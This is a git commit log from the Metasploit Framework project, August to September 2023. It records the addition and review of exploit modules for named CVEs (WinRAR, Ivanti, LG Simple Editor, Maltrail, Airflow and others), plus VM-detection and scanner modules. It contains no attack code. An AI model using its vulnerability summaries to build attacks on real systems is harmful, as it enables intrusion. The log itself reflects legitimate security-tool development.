2023-09-07 21:46:09 +02:00
Alex cc78156b8c Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-07 21:46:00 +02:00
xaitax 28785eb8a1 Remove payload space 2023-09-07 19:59:31 +02:00
Ege Balcı 2cda3fab50 Update options 2023-09-07 19:50:10 +02:00
Ege Balcı 5b6ee0cfaf Add extra sleep during PakUpgrade for stabilization 2023-09-07 19:49:57 +02:00
Ege Balcı 9a5dd4e4e5 Refactor thrift usage, add extra SRVHOST check, switch to decoded mf_file 2023-09-07 19:29:23 +02:00
Metasploit 030fc99331 Bump version of framework to 6.3.34 2023-09-07 12:05:08 -05:00
Ege Balcı e286c96dee Update modules/exploits/windows/http/lg_simple_editor_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-09-07 17:00:17 +00:00
Ege Balcı 3509193ae8 Update modules/exploits/windows/http/lg_simple_editor_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-09-07 17:00:10 +00:00
Jack Heysel 15908b9721 Merge branch 'ivanti-sentry-misc-log-service' of github.com:jheysel-r7/metasploit-framework into ivanti-sentry-misc-log-service 2023-09-07 12:40:26 -04:00
Jack Heysel fd6a2fa64a Updated docs 2023-09-07 12:19:11 -04:00
jheysel-r7 7944df2b87 Apply suggestions from code review
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-09-07 11:46:24 -04:00
Metasploit 9d1b08f346 automatic module_metadata_base.json update 2023-09-07 10:26:52 -05:00
Simon Janusz 26cb5c7241 Land #18322, Elasticsearch Memory Disclosure (CVE-2021-22145) 2023-09-07 16:11:40 +01:00
ErikWynter 7cabe14461 add opentsdb_key_cmd_injection exploit module 2023-09-07 17:29:16 +03:00
Ron Bowes b12fe743d0 Resolve PR comments 2023-09-06 14:11:29 -07:00
h00die fa4fabf47b review comments 2023-09-06 16:51:57 -04:00
Jack Heysel 3ae658285b Updated socat tcp cache size 2023-09-06 15:52:56 -04:00
Jack Heysel cf62d3fa78 rubocop 2023-09-06 15:47:54 -04:00
Jack Heysel 31d5f8e128 Responded to comments 2023-09-06 15:40:43 -04:00
h00die 213b9f9589 Merge remote-tracking branch 'upstream/master' into flask_unsign 2023-09-06 15:39:37 -04:00
Metasploit 8eb8cbfde9 automatic module_metadata_base.json update 2023-09-06 13:29:39 -05:00
Jack Heysel 13174382d9 Land #18179, improve windows checkvm post module 2023-09-06 14:07:50 -04:00
Metasploit 875320c1aa automatic module_metadata_base.json update 2023-09-06 11:07:24 -05:00
Jack Heysel 4ade16752a Land #18190, improve linux checkvm post module 2023-09-06 11:50:50 -04:00
Metasploit 0f5c726c1f automatic module_metadata_base.json update 2023-09-06 09:59:44 -05:00
cgranleese-r7 e892a1e853 Fixes issue with module fullname matching as substring of other modules 2023-09-06 15:57:59 +01:00
bwatters 53b7f1ba07 Land #18286, roundcube arbitrary file read
Merge branch 'land-18286' into upstream-master
2023-09-06 09:43:38 -05:00
bwatters 48dcb2440b Delete repeat 2023-09-06 08:43:56 -05:00
bwatters 255bbf22d6 Add section on not using fail_with in check methods 2023-09-06 08:39:08 -05:00
Metasploit 55cf80cab6 automatic module_metadata_base.json update 2023-09-05 17:13:03 -05:00
Jack Heysel 482fdefb2c Land #18313, SolarView Compact unauth RCE module
This PR adds a SolarView Compact unauth RCE module.
2023-09-05 17:49:28 -04:00
jheysel-r7 03ccb3cce0 Apply grammatical suggestions from code review 2023-09-05 17:06:01 -04:00
bwatters 91e7af4370 Added check, some stealth, and cleaned code 2023-09-05 14:29:13 -05:00
Spencer McIntyre 6b20c19964 Update rex-socket gem to 0.1.53
Includes changes from:
* rapid7/rex-socket#43
2023-09-05 09:41:08 -04:00
Metasploit 2e75abac77 automatic module_metadata_base.json update 2023-09-05 08:26:18 -05:00
cgranleese-r7 55d0f29e54 Land #18281, Detection module for CVE-2023-21554 - QueueJumper 2023-09-05 14:03:30 +01:00
bka-dev a027daaa0d corrected another minor typo 2023-09-05 14:28:47 +02:00
bka-dev d3698a8b46 added known vulnerable systems 2023-09-05 13:58:36 +02:00
Bastian Kanbach 4b8f5dc41c Update modules/auxiliary/scanner/msmq/cve_2023_21554_queuejumper.rb
Corrected typo

Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-09-05 13:15:36 +02:00
xaitax ac91516cc9 Update winrar_cve_2023_38831.rb 2023-09-04 20:25:20 +02:00
xaitax b0fa4cc266 Update winrar_cve_2023_38831.rb 2023-09-04 19:54:43 +02:00
xaitax d5f355d8de WinRAR 6.22 (CVE-2023-38831) 2023-09-04 18:56:22 +02:00
Ege Balcı 4088276b36 Adjust option name 2023-09-04 16:46:14 +02:00
Ashley Donaldson f27439760d Update mock for unit tests 2023-09-04 10:47:06 +10:00
Ashley Donaldson 8992c955b4 Prioritise kerberos scanning over RC4, to get more easily crackable hash. Fall back to defaults. 2023-09-04 10:12:57 +10:00
h00die c6a2652861 review comments 2023-09-01 20:34:35 -04:00
h00die fb9f3bd13f review comments 2023-09-01 20:14:41 -04:00
Ege Balcı c2fc371721 Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-01 01:59:03 +00:00
Ege Balcı 9044588971 Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-01 01:53:40 +00:00
Ege Balcı f96ca4429a Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-01 01:53:31 +00:00
Ege Balcı a552132fc3 Update documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-01 01:53:17 +00:00
Ege Balcı 48cb2db70b Update scenario 2023-09-01 03:48:08 +02:00
Ege Balcı 20a22f1baf Fix check, randomize JSP name, ditch backup 2023-09-01 03:46:58 +02:00
Ege Balcı 757e942ac9 Update modules/exploits/windows/http/lg_simple_editor_rce.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-01 01:16:32 +00:00
Metasploit 90cf371376 Bump version of framework to 6.3.33 2023-08-31 12:06:37 -05:00
Jeffrey Martin 1d8d76f431 update Pro version docs for 4.22.2 release 2023-08-31 11:40:17 -05:00
Metasploit 0f3385e5cf automatic module_metadata_base.json update 2023-08-31 11:25:30 -05:00
Jack Heysel 73de437eca Updated cache size 2023-08-31 12:22:30 -04:00
Jack Heysel e5f2ebff19 Fix copy pasta error 2023-08-31 12:14:24 -04:00
Christophe De La Fuente 6a674f53ff Land #18309, Stream LDAP query results 2023-08-31 18:09:45 +02:00
Jack Heysel 5c12a3e6f4 Remove unused default options 2023-08-31 02:47:40 -04:00
Jack Heysel 3e58183291 updated payloads_spec 2023-08-31 02:43:12 -04:00
Jack Heysel 3a7ef46d17 Remove platform linux 2023-08-31 02:32:21 -04:00
Jack Heysel 273d8ec0bc Setting cache size to 88 to apease CI 2023-08-31 02:27:03 -04:00
Jack Heysel 7b8debd58f Tidy up, last minute rubocop 2023-08-31 02:17:35 -04:00
Jack Heysel 9779b1eeae Lexmark Device Embedded Web Server RCE (CVE-2023-26068) 2023-08-30 20:30:14 -04:00
jheysel-r7 ef55c4f2c1 Update documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md 2023-08-30 12:11:37 -04:00
jheysel-r7 68090d0406 Update modules/exploits/linux/http/ivanti_sentry_misc_log_service.rb
Co-authored-by: wvu <4551878+wvu@users.noreply.github.com>
2023-08-30 11:46:44 -04:00
Metasploit b2e7e93312 automatic module_metadata_base.json update 2023-08-30 08:14:24 -05:00
Christophe De La Fuente 8217745a85 Land #18257, Apache nifi h2 rce (CVE-2023-34468) 2023-08-30 13:37:37 +02:00
bwatters ccba494e61 Exploit working, still needs to be cleaned up 2023-08-29 18:01:44 -05:00
Jack Heysel fe8cb3398f Another docs update 2023-08-29 17:33:51 -04:00
Jack Heysel 47f621106c Updated docs 2023-08-29 17:11:33 -04:00
Jack Heysel a3a7454f74 Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035) 2023-08-29 15:24:04 -04:00
Jack Heysel b326832bcf Renamed module, rubocop 2023-08-29 13:21:13 -04:00
Ege Balcı 32f9357f7a Update side effects 2023-08-29 18:08:11 +02:00
Ege Balcı 1d9c7fde77 Add LG Simple Editor Unauthenticated RCE (CVE-2023-40498) Exploit 2023-08-29 17:58:43 +02:00
Ege Balcı 44dd8439df Add low version guard and token check 2023-08-29 17:43:21 +02:00
Jack Heysel efd9a69b35 Module returns a Metepreter session 2023-08-29 02:00:35 -04:00
h00die db9bf5f6cd now down to 10 shells! 2023-08-28 17:42:35 -04:00
h00die f467e0747a review comments 2023-08-28 17:39:02 -04:00
h00die a4bde1157c fix #18326 2023-08-28 16:49:31 -04:00
Metasploit 28ba19a12f automatic module_metadata_base.json update 2023-08-28 04:46:15 -05:00
Christophe De La Fuente 7fa2586e34 Land #18247, Netgear NMS RCE CVE-2023-38096/8 2023-08-28 11:23:08 +02:00
h00die-gr3y 77a1bbef79 Second release module and documentation 2023-08-28 07:49:40 +00:00
Ege Balcı eaeb2024d3 Merge branch 'master' into vmware_vrli_rce
Merge for ThriftMessageType
2023-08-26 22:42:25 +02:00
Ege Balcı 65402ab3ab Update stability to CRASH_SAFE 2023-08-26 18:55:31 +02:00
Ege Balcı 047a1c9e03 Remove TRA (Tenable vuln ID) 2023-08-26 18:45:42 +02:00
Ege Balcı ed01948ffe Randomize buffer + use make_nops 2023-08-26 18:43:07 +02:00
Ege Balcı 721d5cfaa1 Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-26 16:27:21 +00:00
Ege Balcı 06ab901397 Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-26 16:27:12 +00:00
Ege Balcı 08de344f81 Update modules/exploits/windows/misc/ivanti_avalanche_mdm_bof.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-26 16:26:54 +00:00
Ege Balcı 8ba2343164 Update documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-26 16:26:39 +00:00
bwatters c69e983b30 Add module to create directory structures and upload/run exploit 2023-08-25 15:41:25 -05:00
Ege Balcı b10d677308 Doc update. 2023-08-25 21:18:48 +02:00
h00die 772978964e elastic memory disclosure 2023-08-25 13:28:17 -04:00
Ege Balcı a971867ca6 Add Ivanti Avalanche MDM Buffer Overflow Exploit (CVE-2023-32560) 2023-08-25 19:26:06 +02:00
cudalac 926bdd03c4 roundcube arbitrary file read 2023-08-25 08:59:53 -04:00
Metasploit 6fa6919f2c automatic module_metadata_base.json update 2023-08-24 17:59:18 -05:00
Spencer McIntyre b830587a60 Land #18310, elasticsearch enum module enhancements
elasticsearch enum module enhancements
2023-08-24 18:31:48 -04:00
h00die 67768567ac review comments 2023-08-24 17:24:20 -04:00
h00die b529814563 fix sideeffects/reliability 2023-08-24 16:28:05 -04:00
h00die 43401dd872 review comments 2023-08-24 16:23:41 -04:00
h00die 5382eb22d1 kibana exploit 2023-08-24 16:08:08 -04:00
Metasploit ecaa038afe Bump version of framework to 6.3.32 2023-08-24 12:08:09 -05:00
Ege Balcı 0fe335aff2 Update documentation/modules/exploit/windows/http/netgear_nms_rce.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-24 16:10:30 +00:00
Metasploit b0446cee14 automatic module_metadata_base.json update 2023-08-24 05:07:22 -05:00
Christophe De La Fuente a037d16b66 Land #18233, Chamilo unauthenticed RCE [CVE-2023-34960] 2023-08-24 11:49:40 +02:00
bwatters c05582267c Placeholder for VE-2023-36874 2023-08-23 20:13:03 -05:00
h00die 3879fbed95 elasticsearch enum module enhancements 2023-08-23 18:09:28 -04:00
h00die-gr3y 3612030cee first release of module 2023-08-23 22:07:58 +00:00
h00die 79a4cfa9cb elasticsearch enum module enhancements 2023-08-23 18:07:52 -04:00
h00die 8796d5e2d4 elasticsearch enum module enhancements 2023-08-23 18:06:41 -04:00
Metasploit 4062916a84 automatic module_metadata_base.json update 2023-08-23 17:00:19 -05:00
Spencer McIntyre 3c6f5419f2 Land #18214, Change fetch payload default options
Change default command to certutil for Windows HTTP Fetch and default…
2023-08-23 17:45:10 -04:00
adfoster-r7 e760e781df Land #18307, Fix exploit/linux typos in Subrion RCE docs 2023-08-23 20:37:46 +01:00
adfoster-r7 3b1ba78536 Land #18306, Fix an error in ThriftMessageType 2023-08-23 20:36:33 +01:00
h00die 36327e1ff4 elasticsearch enum module enhancements 2023-08-23 15:19:06 -04:00
bwatters 71ded31aae Add check to make sure that FETCH_SRVHOST is set properly for bind payloads, too. 2023-08-23 12:50:25 -05:00
adfoster-r7 b92b8e91a4 Land #18308, Fix lines in SmarterMail RCE docs for linting with msftidy_docs 2023-08-23 17:18:59 +01:00
Ismail Dawoodjee c216c5a184 Fix lines in SmarterMail RCE docs for linting with msftidy_docs 2023-08-23 23:07:07 +08:00
Ismail Dawoodjee 94b7e77d11 Fix exploit/linux typos in Subrion RCE docs 2023-08-23 22:44:49 +08:00
Spencer McIntyre d870f4bebe Fix an error in ThriftMessageType 2023-08-23 10:33:27 -04:00
Metasploit afda825dc9 automatic module_metadata_base.json update 2023-08-23 09:24:12 -05:00
Ismail Dawoodjee 009721b3c7 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-08-23 22:13:20 +08:00
Christophe De La Fuente bf1b5ffaa3 Land #18272, Bug fix for ColdFusion RCE module - CVE-2023-26360 2023-08-23 16:05:33 +02:00
Spencer McIntyre 091c07258b Land #18298, Sort addresses
Ensure datastore network adapter names are consistently resolved
2023-08-23 09:08:03 -04:00
h00die-gr3y f64b67968f Final minor updates 2023-08-23 11:38:07 +00:00
H00die.Gr3y 1db284dcaa Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-08-22 18:46:25 +02:00
Ron Bowes 4b130f5be7 Change a variable name 2023-08-22 09:00:31 -07:00
jvoisin b79549f178 Use a better detection method for Xen
Based on @adfoster-r7's feedback.
2023-08-22 12:36:48 +02:00
jvoisin 126b5441c9 Add a bunch of virtio modules to detect KVM 2023-08-22 12:34:42 +02:00
jvoisin 995dcfd753 Be a bit more stealthy when looking at kernel modules
No need to run a binary if reading a file is enough
2023-08-22 12:34:42 +02:00
jvoisin bee2b6b381 Add detection via /proc/cpuinfo 2023-08-22 12:34:42 +02:00
jvoisin 2a5595037f Add detection via /sys/devices/virtual/dmi/id/bios_vendor 2023-08-22 12:34:42 +02:00
jvoisin cd1fc1a79c Add another Hyper-V detection 2023-08-22 12:34:42 +02:00
jvoisin 0af4e98eb6 Add some process-based detection 2023-08-22 12:34:42 +02:00
jvoisin 95b964a2f4 Add some more virtualbox kernel modules
Taken from https://www.virtualbox.org/wiki/Guest_resizing
and https://linuxconfig.org/install-virtualbox-guest-additions-on-linux-guest
2023-08-22 12:34:42 +02:00
jvoisin f84cbab0c4 Add some Hyper-v kernel modules
Taken from https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/manage-hyper-v-integration-services
2023-08-22 12:34:41 +02:00
jvoisin af22ca9253 Add detection of Xen via /proc/xen/capabilities
Xen's dom0 has `control_d` in its /proc/xen/capabilities
2023-08-22 12:34:41 +02:00
jvoisin 26b6ad2948 Add a comment 2023-08-22 12:34:41 +02:00
jvoisin 4027a6edce Add detection via /sys/class/dmi/id/sys_vendor 2023-08-22 12:34:41 +02:00
Jack Heysel d43bbb6655 rubocop 2023-08-21 19:57:37 -04:00
Jack Heysel 97dd22032c Responded to comments, improved stability 2023-08-21 19:20:25 -04:00
h00die 1bd14dd8f4 error handling for apache modules 2023-08-21 18:12:26 -04:00
h00die 1e79dc582a prometheus lib rewrite 2023-08-21 18:08:21 -04:00
Ron Bowes 1bbf8194ce Remove more unnecessary arguments 2023-08-21 14:45:09 -07:00
Ron Bowes 79fa3dea8b Fix a variable name 2023-08-21 14:32:06 -07:00
Ron Bowes b1c1f705be Remove some unneeded arguments 2023-08-21 14:30:25 -07:00
Ron Bowes 6dd89a513b Make some changes from jvoisin's suggestions in the PR 2023-08-21 14:26:34 -07:00
Ron Bowes f5908a5818 Add a comment 2023-08-21 08:53:52 -07:00
Ron Bowes ce50cfa11a Add module for SonicWall vulns, which includes cve-2023-34124 2023-08-21 08:53:07 -07:00
Ismail Dawoodjee e4cf796056 Update documentation with scenarios from latest module code 2023-08-21 10:25:06 +08:00
h00die ceb46cc2ef lib and spec updates 2023-08-20 20:07:42 -04:00
h00die a45792877a lib and spec updates 2023-08-20 19:37:22 -04:00
adfoster-r7 da3ef0a6f9 Ensure datastore network adapter names are consistently resolved 2023-08-21 00:21:37 +01:00
Ismail Dawoodjee fb1a6d3d72 Invert check condition so that extra checks wont run unless version is vulnerable 2023-08-19 21:56:02 +06:30
h00die-gr3y b6cf981378 Updates based on review comments 2023-08-19 08:18:50 +00:00
Ismail Dawoodjee 1188ce1e34 Implement suggestions from code review
* Reduce verbosity of log messages
* Move 'check_*' methods into 'check' method
* Fix non-existent Windows PowerShell Command payload
* Clearer log message for unpausing DAG in 'check_unpaused' method
2023-08-19 09:45:39 +06:30
Ismail Dawoodjee fd3e532b87 Change Airflow version log message to "status" instead of "good"
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-08-19 08:33:31 +06:30
Ismail Dawoodjee b8a2a405c8 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-08-19 08:31:18 +06:30
Metasploit 40a3ce6cde automatic module_metadata_base.json update 2023-08-18 16:56:24 -05:00
Jack Heysel 11d7b368da Land #18287, fix stack trace in forge_ticket
This PR fixes a stack trace thrown by the forge_ticket
module when the SPN datastore option was left blank. The module
now fails due to bad-config and gives a detailed error message.
2023-08-18 17:38:51 -04:00
Metasploit f669b4a2af automatic module_metadata_base.json update 2023-08-18 16:32:35 -05:00
Ege Balcı e0f545673c Add files for cleanup, fix serve address, add retry_until_truthy 2023-08-18 23:25:49 +02:00
Jack Heysel f3c8ca94ff Land #18297, fix broken mysql_authbypass_hashdump
This PR fixes the broken mysql_authbypass_hashdump module.
2023-08-18 17:08:31 -04:00
Jack Heysel 5fdc9924d5 Land #18123, add exploit for Jorani unauth RCE
This PR adds a module that chains together a log poisoning LFI,
redirection bypass and a path traversal vulnerability to obtain unauth RCE.
2023-08-18 16:44:42 -04:00
Ege Balcı e97183e7bd Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:21:42 +00:00
Ege Balcı 20ca3b8720 Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:17:37 +00:00
Ege Balcı d8d5049d97 Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:16:32 +00:00
Ege Balcı 4fe15ee788 Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:16:21 +00:00
Ege Balcı 1a97b11f09 Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:16:12 +00:00
Ege Balcı 86c8f11e17 Update modules/exploits/linux/http/vmware_vrli_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-18 20:16:03 +00:00
jheysel-r7 0334d28553 Apply final suggestions from code review 2023-08-18 15:40:58 -04:00
jheysel-r7 b064578488 Apply suggestions from code review 2023-08-18 15:37:11 -04:00
jheysel-r7 4ddd789f51 Apply suggestions from code review 2023-08-18 15:33:59 -04:00
dwelch-r7 1878c08293 Land #18276, Add sasl scram 256 auth support to postgres modules 2023-08-18 14:34:51 +01:00
bka-dev c3111d997f major changes - included bindata and added more documentation 2023-08-18 13:45:48 +02:00
adfoster-r7 4a76371b01 Fix broken mysql_authbypass_hashdump module 2023-08-17 23:41:43 +01:00
h00die d84c15cf21 lib and spec updates 2023-08-17 15:29:20 -04:00
Metasploit 8e89a6a3dc Bump version of framework to 6.3.31 2023-08-17 12:05:48 -05:00
Connor Shade a3ab96f2e0 Add fetch payload mention to cmd-injection doc 2023-08-17 11:37:42 -04:00
Metasploit 667ade25aa automatic module_metadata_base.json update 2023-08-17 10:30:45 -05:00
cgranleese-r7 703f535850 Land #18275, Update java reverse http and https to be dynamic 2023-08-17 16:15:16 +01:00
Metasploit 2560fac9c1 automatic module_metadata_base.json update 2023-08-17 09:46:50 -05:00
cgranleese-r7 89f8deb672 Land #18253, Add CVE-2023-34634, Greenshot Fileformat exploit 2023-08-17 15:30:02 +01:00
bwatters 0965233591 Remove debug print 2023-08-17 08:48:42 -05:00
Ismail Dawoodjee 4137d2df21 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-08-17 10:19:13 +06:30
Metasploit c748cc4ebb automatic module_metadata_base.json update 2023-08-16 17:01:49 -05:00
Jack Heysel 8717e66b14 Land #18280, Add Maltrail Unauth RCE Module
This PR adds a module for an unauthenticated RCE vulnerability
in Maltrail, a malicious traffic detection system. This vuln
does not have a CVE associated with it.
2023-08-16 17:29:05 -04:00
h00die 97a6fc9549 tables and screen width, ugh 2023-08-16 17:23:31 -04:00
jheysel-r7 cd3d053e6e Update affected versions in the doc file 2023-08-16 16:52:48 -04:00
Ege Balcı a91f928d62 Update documentation/modules/exploit/unix/http/maltrail_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-16 18:45:37 +00:00
Ege Balcı c3252027f2 Update modules/exploits/unix/http/maltrail_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-16 18:45:26 +00:00
Ege Balcı 20d25e46d0 Update modules/exploits/unix/http/maltrail_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-08-16 18:45:12 +00:00
Ismail Dawoodjee a2a4489ce4 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-08-16 13:50:13 +06:30
h00die 07d6312781 prometheus stuff 2023-08-15 20:30:54 -04:00
h00die b5a21f66b5 add docs 2023-08-15 20:30:54 -04:00
h00die d75c53fffe prometheus api gather 2023-08-15 20:30:54 -04:00
h00die 7629c7d0f4 prometheus node exporter library 2023-08-15 20:30:54 -04:00
adfoster-r7 33193bdd41 Update java reverse http and https to be dynamic 2023-08-16 00:50:41 +01:00
Metasploit e943d21a52 automatic module_metadata_base.json update 2023-08-15 15:50:36 -05:00
Jack Heysel 900e418796 Land #18226, H2 Web Interface RCE
This PR adds a module to exploit an RCE feature in
the H2 databases Web Interface.
2023-08-15 16:23:09 -04:00
adfoster-r7 5d85e423a7 Land #18289, Fix a typo in the docs 2023-08-15 17:13:37 +01:00
Spencer McIntyre 53bd5bfb0a Fix a typo in the docs 2023-08-15 10:23:28 -04:00
adfoster-r7 9a50e66c50 Land #18278, Use latest version of ruby-mysql from upstream 2023-08-15 14:29:36 +01:00
dwelch-r7 3329ac5357 Land #18288, Add Meterpreter sanity tests to CI 2023-08-15 14:28:55 +01:00
adfoster-r7 68ce65c6c9 Revert "Revert "Add Meterpreter sanity tests to CI"" 2023-08-15 13:24:59 +01:00
Ismail Dawoodjee 13dbb27245 Implement usual version comparison and remove unactionable text 2023-08-15 12:35:08 +06:30
Ismail Dawoodjee bdaaef8d60 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-08-15 12:24:06 +06:30
Metasploit 253290d9c4 automatic module_metadata_base.json update 2023-08-14 22:51:23 -05:00
Jack Heysel 6cf136ec3a Land #18263, Add RaspAP Unauth Command Injection
This PR adds an unauthenticated command injection
module for the RaspAP webgui application.
2023-08-14 23:25:23 -04:00
Jack Heysel 99e78a4c00 Update documentaion file 2023-08-14 21:01:10 -04:00
Spencer McIntyre 5dee288464 Stream LDAP query results 2023-08-14 16:14:36 -04:00
Rory McKinley e6d1a20a05 Use ruby-mysql for MySQL login scanner 2023-08-14 21:34:41 +02:00
Rory McKinley d154247c84 Introduce ruby-mysql gem 2023-08-14 21:34:01 +02:00
Spencer McIntyre 7d9abc87b1 Fix a stack trace in forge_ticket when SPN is blank 2023-08-14 10:42:32 -04:00
bka-dev a47ac264ae corrected typo 2023-08-13 22:56:57 +02:00
bka-dev b623684284 added module documentation 2023-08-13 22:35:14 +02:00
Ismail Dawoodjee 93da96e02f Add additional text to check for Airflow login page 2023-08-12 19:29:57 +06:30
Ismail Dawoodjee 60e8e3a487 Remove space before semicolon in payload command 2023-08-12 10:37:38 +06:30
Ismail Dawoodjee bbe8892549 Terminate payload command with a semicolon
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-12 09:56:00 +06:30
Ismail Dawoodjee 27039c156b Use the whole <a> tag in version check
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-12 09:41:53 +06:30
Ismail Dawoodjee 4953dad2fc Update scenario code block to use "msf" instead of "rb" - 3rd scenario
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-08-12 09:29:29 +06:30
Ismail Dawoodjee 94521e2dc3 Update scenario code block to use "msf" instead of "rb" - 2nd scenario
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-08-12 09:29:08 +06:30
Ismail Dawoodjee ac2d2588d9 Update scenario code block to use "msf" instead of "rb"
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-08-12 09:28:19 +06:30
Bastian Kanbach 6930605cde Update cve_2023_21554_queuejumper.rb
corrected minor typo
2023-08-12 00:14:51 +02:00
Bastian Kanbach 40272beaf5 Update cve_2023_21554_queuejumper.rb
Splitted the payload up into different headers to improve readability. Documented headers as well
2023-08-12 00:10:59 +02:00
Bastian Kanbach fe948f77c9 Update modules/auxiliary/scanner/msmq/cve_2023_21554_queuejumper.rb
Splitted the line mentioning the two security researchers in two lines

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-11 21:27:17 +02:00
Ege Balcı 2edf12d303 Syntax fix 2023-08-11 18:25:36 +02:00
Ege Balcı 0d7591c2fb Update modules/exploits/unix/http/maltrail_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-11 16:24:38 +00:00
Ege Balcı 63305a8db6 Update modules/exploits/unix/http/maltrail_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-08-11 16:24:19 +00:00
Ismail Dawoodjee 26b1317147 Fix "Notes value PatchedVersion must be an array" error 2023-08-11 22:15:41 +06:30
Ismail Dawoodjee 54b0abb318 Apache Airflow 1.10.10 - Example DAG Remote Code Execution (CVE-2020-11978 + CVE-2020-13927) 2023-08-11 21:43:16 +06:30
jvoisin 86c868084c Remove joesandbox and virtualpc 2023-08-11 14:42:51 +02:00
jvoisin 88a5a52c1a Stringy arrays before checking anything
As suggested in https://github.com/rapid7/metasploit-framework/pull/18179#pullrequestreview-1533226875
2023-08-11 14:42:01 +02:00
jvoisin 9b87a9d4f1 Run HyperV check after Parallels
As suggested in https://github.com/rapid7/metasploit-framework/pull/18179#discussion_r1265637311
2023-08-11 14:42:01 +02:00
jvoisin 075a7e9a14 Narrow a virtualbox check 2023-08-11 14:42:01 +02:00
jvoisin 1188256260 Update the Description to add newly detected VM 2023-08-11 14:42:01 +02:00
jvoisin 89dd8ce930 Add some references 2023-08-11 14:42:01 +02:00
jvoisin f439ca4fb7 Fix Multi String value issues
Spotted by @cdelafuente-r7
2023-08-11 14:42:01 +02:00
jvoisin c3b77844cc Improve Qemu detection 2023-08-11 14:42:01 +02:00
jvoisin fd45073d36 Improve Xen detection 2023-08-11 14:42:01 +02:00
jvoisin 9bed3da364 Improve VirtualBox detection 2023-08-11 14:42:01 +02:00
jvoisin 29d9908f22 Improve virtualpc detection 2023-08-11 14:42:01 +02:00
jvoisin fdd212625f Improve VMWare detection 2023-08-11 14:42:01 +02:00
jvoisin 04da17fc7b Add detection for JoeSandbox 2023-08-11 14:42:01 +02:00
jvoisin dec237ce0a Add Parallels detection 2023-08-11 14:42:01 +02:00
cudalac 904e8ba89f roundcube arbitrary file read 2023-08-10 22:45:01 -04:00
Bastian Kanbach cf9976d857 Update cve_2023_21554_queuejumper.rb
Further tidying according to rubocop
2023-08-11 01:38:02 +02:00
Bastian Kanbach 3953322e80 Update cve_2023_21554_queuejumper.rb
Changed according to the linter
2023-08-11 01:27:59 +02:00
bka-dev 6ced21b4a9 Adds module to detect CVE-2023-21554 aka QueueJumper 2023-08-11 00:45:03 +02:00
bka-dev ef8e6f46bc reverting previous change 2023-08-11 00:43:38 +02:00
bka-dev 1e7e39c383 Adds module to detect CVE-2023-21554 aka QueueJumper 2023-08-11 00:34:30 +02:00
Ege Balcı 4b7d98df07 Add Maltrail Unauthenticated RCE exploit 2023-08-10 23:02:20 +02:00
Metasploit 020320922d Bump version of framework to 6.3.30 2023-08-10 13:33:02 -05:00
